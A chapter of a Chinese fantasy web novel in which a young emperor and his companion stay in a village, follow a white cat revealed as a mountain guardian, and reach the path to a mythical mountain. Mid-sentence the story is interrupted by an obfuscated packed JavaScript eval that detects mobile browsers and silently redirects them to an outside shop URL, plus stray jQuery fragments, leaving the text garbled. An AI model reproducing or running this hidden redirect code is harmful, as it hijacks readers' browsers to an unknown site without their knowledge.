“没有守山人了?”顾渊诧异,他下意识地看向月千歌,就见月千歌也微微蹙眉,似乎觉得有些不可思议。
月千歌抬起眼眸,对视上顾渊的视线,轻轻摇了摇头。顾渊明白,月千歌与自己一样,对村长的话有所怀疑。
村长很有可能是为了不让他们去南禺之山而胡乱编的谎言。
村长见两人的表情,也知道他们没有信自己的话,他也不多解释什么,只是端起茶杯,吹了吹水面上漂浮着的茶叶梗,慢慢喝了口茶。
又随便聊了一些,村长让钱大瑞打扫两间干净的屋子出来,又让陆青去杀一只鸡。
等那两人都出了堂屋,村长才对顾渊说道:“老朽知道殿下没有信老朽话,如果殿下不嫌弃,可以在村子里住一段时间。或许见到您,南禺之山会出现,守山人也会出现。”
村长是故意支开钱大瑞和陆青的,这两人性子都有些急,如果让他们知道顾渊不信自己的话,他们才不管顾渊是太子还是新帝,必定会将顾渊和月千歌赶出去。
村长将话挑明,顾渊和月千歌的脸上多多少少有些尴尬,顾渊忙道:“村长别介意,我只是……”
村长笑着打断了顾渊的话,浑浊的眼眸此时竟然有了一丝清明,他道:“老朽知道殿下何意,换做是老朽,也不一定会信,故而老朽才提议让二位在村中住些时日。”
村长微微顿了顿,他放下手中的茶杯,又摸着趴在他腿上的白猫,说道:“小雪说殿下身上有王气,殿下又得到过天启,想来南禺之山会为了殿下而显现。”
说到天启,顾渊在以前还是有点点心虚,毕竟长江天启是假的,那是月千歌的手笔,可是如今,他理直气壮起来。
管他天启是真是假,只要他有能力,假的也能成为真的。
……
是夜,顾渊和月千歌暂住在村长家里。
下午陆青杀了一只鸡,村长家的晚饭便炖了一大锅热腾腾的鸡汤。
鸣凤村虽然安定,衣食不愁,却并不富裕,这鸡都是养着下蛋的,很少会杀来炖汤。
今日如果不是顾渊他们来到村子里,村长也不舍不得让陆青杀鸡。
鸡汤分了几份,钱大瑞媳妇提着食盒给村子里的几户老人送去,剩下的还有小半锅,但是给顾渊和月千歌还有村长各自舀了一碗后,那锅鸡汤就见了底。
明朝和明夕是村长家隔壁的孩子,他们在家里吃完了晚饭就来村长家找小雪玩。来到堂屋门口,两个孩子盯着碗里热乎乎油亮亮的鸡汤,有些嘴馋。只不过两个孩子被教育的很好,也没有讨吃的,就是抱着白猫在院子里玩。
见此,顾渊和月千歌都默契地端起了自己面前的鸡汤,给两个孩子送去。
钱大瑞见此,连忙说道:“殿下不必这样。”
顾渊笑道:“我是苦日子过久了,吃了鸡汤,反而不舒服。”他搬来一根条凳在两个孩子面前,将端着的鸡汤放下,月千歌也把鸡汤放在了条凳上,还顺手摸了摸那只叫小雪的白猫。
钱大瑞自然是不相信顾渊的话,只得看向村长。村长冲着他摇了摇头,意思是随他吧。
顾渊回到桌子前,夹一些晒干拌着辣椒油的萝卜干,挑眉笑道:“还是这个对我的胃口。”
月千歌也道:“这萝卜干麻辣鲜香,不知道夫人是怎么做的?”说这话时,月千歌眉眼笑得温柔,他望向坐在对面的钱大瑞的媳妇。
钱大瑞媳妇一怔,不料月千歌会突然问她话,她有些惶恐,悄悄拽了拽身边的钱大瑞。
“抱歉,是我失礼了。”月千歌颔首道歉。
钱大瑞连忙挥了挥手说:“先生客气了,是我家媳妇害羞,这萝卜干如果先生喜欢,走的时候给您包一大包。”
月千歌微笑道:“那就却之不恭了。”
明朝和明夕捧着碗,蹲在院子里喝着鸡汤,村长给自己倒了一杯老参酒,钱大瑞与他夫人互相夹着菜,两人相敬如宾。白猫走在堂屋门口,它撑了一个懒腰,又打了一个哈欠,翘着尾巴来到顾渊脚边来回蹭着。
屋外月光皎洁,草林河流间,虫鸣蛙叫。屋内烛光摇曳,不大的四方桌前,其乐融融。
顾渊不禁在想,如果南朝没有妖兽作乱,那么这份温馨,便是家家户户的常态吧。
不求山珍海味,不求绫罗绸缎,不求金银珠宝,也不求权势滔天,只求一份安宁。
吃了饭,顾渊就回到了村长给他准备的屋子里。夜还长,顾渊有些无所事事,就独坐在窗边,抬头望着今夜的明月。
也不知坐了多久,村子里的灯火熄灭,窗外只有一片月光,还有零星几只春末早醒的萤火虫。
夜已经深了,顾渊还不太困,依旧坐在窗边胡乱想着这些日子发生的事。
“喵呜。”
一声猫叫打断了顾渊的胡思乱想,他低头看去,就见那只白猫来到了窗下。白猫抬起头瞅着顾渊,碧绿色的眼睛在月光下好像泛着深邃的绿光,就像是一块价值连城的猫眼石。
白猫见顾渊在看它,便转过身往外走了两步,翘起了它那毛茸茸的尾巴晃了晃,旋即又回头看着顾渊。
顾渊没有动,目光倒是落在了它的身上。
白猫有些急了,回到了窗下转了两圈,又往前走了两步,驻足回首,尾巴耷拉了下来,拍了拍地。
顾渊依旧不动。
白猫:“……”这么明显的暗示他看不懂吗?!
“呵呵……”清丽的笑声响起,顾渊寻着笑声看去,月千歌从月色中走了出来。
月千歌理了理自己的衣摆,半蹲下/身子,朝着那只白猫招了招手。
那白猫却不理他,还在顾渊窗前转着。
“你在不出来跟着它,它恐怕都要急的说出人话了。”月千歌笑着打趣道。
白猫本来回头瞅着顾渊,听见月千歌的话,它竟然没好气地睨了月千歌一眼。
顾渊有些惊讶,他是知道这狸奴通灵性,但此时的这只狸奴,并不像是猫,更像是一个人。
“跟着它吧。”月千歌起身,对顾渊说道,“它,就是守山人。”
“它是守山人?”顾渊觉得有些匪夷所思,可转念一想,却也很合理。正常的猫怎么可能活那么久!而且这只白猫还能看出来他身上的王气。
既然守山人出现了,还示意自己跟着,那是不是意味着南禺之山也出现了?
想到这,顾渊不敢耽误,也懒得走门了,就直接从窗户跳了出来。
落地后,顺手把那白猫抱了起来。他一只手抱着白猫,另一只手捏着白猫前脚的肉垫,问它道:“你真是守山人?”
白猫“喵呜”一声,挣扎着要从他怀中蹦下来,顾渊只得松了手。
顾渊和月千歌跟在白猫后面,然而那只白猫没有带他们去南禺之山,而是在村子里乱逛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710784|208415||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着。
就这样走了几个时辰,村子里的鸡都打鸣了,顾渊也从开始的兴致勃勃,到最后不禁怀疑这猫真是守山人吗?它难道不是吃了耗子后肚子撑了,在村子里遛弯消食?!
月千歌这是也有些纳闷了,难道是他认错了?这猫不是——它?
就在顾渊决定再逛一圈就回屋睡觉时,他发现周围渐渐起了雾。
东边的太阳还未升起,独属于清晨的熹微藏在了重云后面,隐约有着光,却不明亮。
晨雾将整个村子笼罩,缥缈间,就见浩瀚的云气中出现一座山,一座仙气缭绕的山。
南禺之山!
顾渊忙要过去,那白猫跑到了他的脚下,将他绊了个踉跄。
好在顾渊身手矫健,才没有摔倒在地。
顾渊这才想起来南禺之山就算是出现了,没有守山人也不知道上山的路在哪里。
白猫在绊住顾渊后,又翘起了它的尾巴,晃了两下,回过头瞥了顾渊一眼,那小表情里有些得意,也有些嫌弃,像是再说“这王气的主人怎么那么冒冒失失的?”
顾渊磨牙,这白猫的表情太欠揍了。
白猫看出来顾渊想揍它,碧绿的眼睛眯成一条缝,那脸上嫌弃的表情更明显了。它都不想在看他,便又转回了头,朝着右边的小路走去。
顾渊:“……”这猫,欺人太甚。
月千歌一旁看着,忍俊不禁,他用袖子掩面,让自己不要笑出声来。
顾渊是想揍那只白猫,到底还是没有动手,他和月千歌一起跟在那白猫身后。眼瞅着离那虚幻缥缈的南禺之山越来越近了,月千歌轻轻拽住了顾渊的衣袖。
顾渊侧过头,月千歌小声说道:“到了南禺之山,看见什么黄金玉石都不能捡。”
“为什么?有毒吗?”
“恰恰相反,那些黄金和玉石充满着灵气,都是难得的宝物。”月千歌说道,“只是你若捡了黄金或者玉石,鹓雏就绝对不会出现。”
封神过后,南禺之山隐秘于九州之中,千百年来,寻找南禺之山的人不少,但是从来没人进去过,自然也没人见过鹓雏,所以也没有人知道如果捡了山中的黄金或者玉石,鹓雏就不会出现。
顾渊没有问月千歌为什么知道这么多,而是选择相信他。
顾渊的确对月千歌的真实身份很好奇,但他尊重月千歌,月千歌既然不说,总有缘由。顾渊不会多问什么,也不会去调查他。
“我知道了。”顾渊保证道,“我不会去捡拾山中的黄金或者玉石。”
见顾渊一本正经的保证,月千歌嘴角含着笑,依旧是那么温柔。他松开了抓着顾渊的袖子手,宽慰顾渊道:“即便鹓雏不出现也没什么,您是尊贵无双的帝王,自会有神兽献瑞。”
鲜衣怒马的少年勾起了唇角,扬起一抹恣意张扬的笑容,他得意道:“那是自然。”
就在这时,白猫停了下来。它转过身看着顾渊,随后竟然恭敬地退在一边。顾渊望去,只见面前出现一条青石砌成的石阶蜿蜒向上,两边都是葳蕤茂盛的梧桐树。
在山路前弥漫着淡淡烟雾,与村子里的起的晨雾不同,这里烟雾氤氲,却带着净化的力量,连带着周围的空气都清澈了不少。
月千歌了然道:“前面就是上南禺之山的路了,我们只能在山脚下等着您。”
顾渊点了点头,只身朝着那青石小路走去。